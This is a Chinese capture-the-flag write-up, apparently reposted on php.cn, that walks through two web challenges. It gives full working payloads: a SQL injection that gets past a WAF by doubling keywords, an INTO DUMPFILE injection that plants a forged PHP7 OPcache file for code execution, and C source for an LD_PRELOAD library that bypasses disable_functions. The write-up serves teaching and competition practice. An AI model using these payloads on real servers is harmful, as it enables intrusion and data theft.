http://114.55.1.176:4458/detail.php?user_name这里发现存在注入,然后发现有waf,经过测验,发现select,or,and等等需要双写绕过,最后payload :

http://114.55.1.176:4458/detail.php?user_name=-2%27%0Aununionion%0Aselselectect%0Auser_pass,2,3,4%0Afrfromom%0Atest.users%0Aununionion%0Aselselectect%0A1,2,3,4%0Aoorr%0A%271

拿到flag:

Homework

开始又是注入= =

随手注册一个用户,进去以后,发现可以任意上传文件,不过不能getshell,没有太大用处。在文件描述那里发现存在注入:

很友好地没有多少过滤。然后走坑之旅开始。发现利用outfile这些可以写东西,但是也没有太大的用处,于是,fuzz了下,发现存在info.php和phpinfo.php,info大致提示我们flag在根目录下,不用去找了,再次贴心,接着看下phpinfo,居然是php7,想起了前阵子的漏洞: http://drops.wooyun.org/web/15450:利用 PHP7 的 OPcache 执行 PHP 代码。

当然这里必须要有一个上传漏洞才能去配合这个漏洞,一开始已经说了可以任意上传,当然包括php,我们知道缓存是优于其本体,而我们可以注入写文件,phpinfo也已经告诉了我们一些敏感路径,于是思路很明确了:

但是写的时候,我们会发现,如果用outfile写的话,mysql会把16进制的一些东西转换,导致面目全非,于是利用dumpfile可以很好的解决这一个问题,于是先探针下,最终payoad:

http://121.40.50.146/detail.php?id=-1%27%20union%20select%20unhex(’4F504341434845003339623030356164373734323863343237383831343063363833396536323031C002000000000000000000000000000000000000000000000000000000000000EF0D070F190D0000A8010000000000000200000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF040000004002000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000A80100000000000001000000020000000000000000000000FFFFFFFF020000000002000000000000080000005858354F00000000000000000000000000000000000000000000000000000000000000000000000000000000010000000700000012000000FEFFFFFF0000000000000000000000000000000000080000FFFFFFFF000000000000000020610689AC7F0000010000000700000012000000FEFFFFFF0000000000000000000000000000000010000000FFFFFFFF0000000000000000B0590689AC7F000000000000000000000000000000000000000000000000000001000000000000000000000000000000C002000000000000000200000000000000000000000000000000000000000000000000000000000000000000660DC4980000000000000000040000000606000019C2A9A742FDC1F029000000000000002F7661722F7777772F68746D6C2F75706C6F61642F32303136303630353132353733372D312E706870000000000000000000000000000000000000000000000020020000000000000600000000000000010000000000000004000000FFFFFFFF0100000006060000F9E0F8ABB5D000800700000000000000706870696E666F00C0E10E89AC7F000060000000000000000000000000000000020000003D080108E0A10E89AC7F000000000000000000006000000000000000020000003C08080480EE0B89AC7F000060000000000000000000000000000000020000002804080880570F89AC7F0000100000000000000000000000FFFFFFFF020000003E010808′)%20into%20dumpfile%20%27/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/20160605125737-1.php.bin%27–+

访问下ok:

OK,题目第一关已经成功过坑,看下disable-functions:

限制好死。。。觉得无望了。。。但是传了一句话后,不知道为什么eval可以执行:

然后找bypass的资料,在drop发现这么一个科技:

http://drops.wooyun.org/tips/16054利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令。然后瞬间有些懵逼地样子,so是什么玩意,作为一只web狗只看过没接触过,好在文章写得比较容易明白,根据文章的思路,就是我们可以编译so,然后利用php去访问,从而绕过php的诸多限制,也就是说我们利用c的函数去列目录读文件之类的,payload如下:

#include <dirent.h>#include <stdio.h>#include <stdlib.h>#include <string.h>void payload(){    DIR* dir;    struct dirent* ptr;    dir = opendir("/");    FILE  *fp;    fp=fopen("/tmp/venenoveneno","w");    while ((ptr = readdir(dir)) != NULL) {        fprintf(fp,"%s\n",ptr->d_name);    }    closedir(dir);    fflush(fp);}int geteuid(){    if (getenv("LD_PRELOAD") == NULL) {        return 0;    }    unsetenv("LD_PRELOAD");    payload();}
Copy after login

然后gcc编译成so,然后根据前面的点,我们明白了出题人的思路:

做到这里,还有题目最后一个坑,就是生成的东西没权限去读,那么怎么办,于是前面传的shell用了用处,我们可以利用copy命令,去覆盖一个我们之前上传的bin,于是直接列目录:

然后再利用loadfile读就可以了:

发现flag,然后再进行一次类似操作,利用fopen去读文件,最后成功得到flag:

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template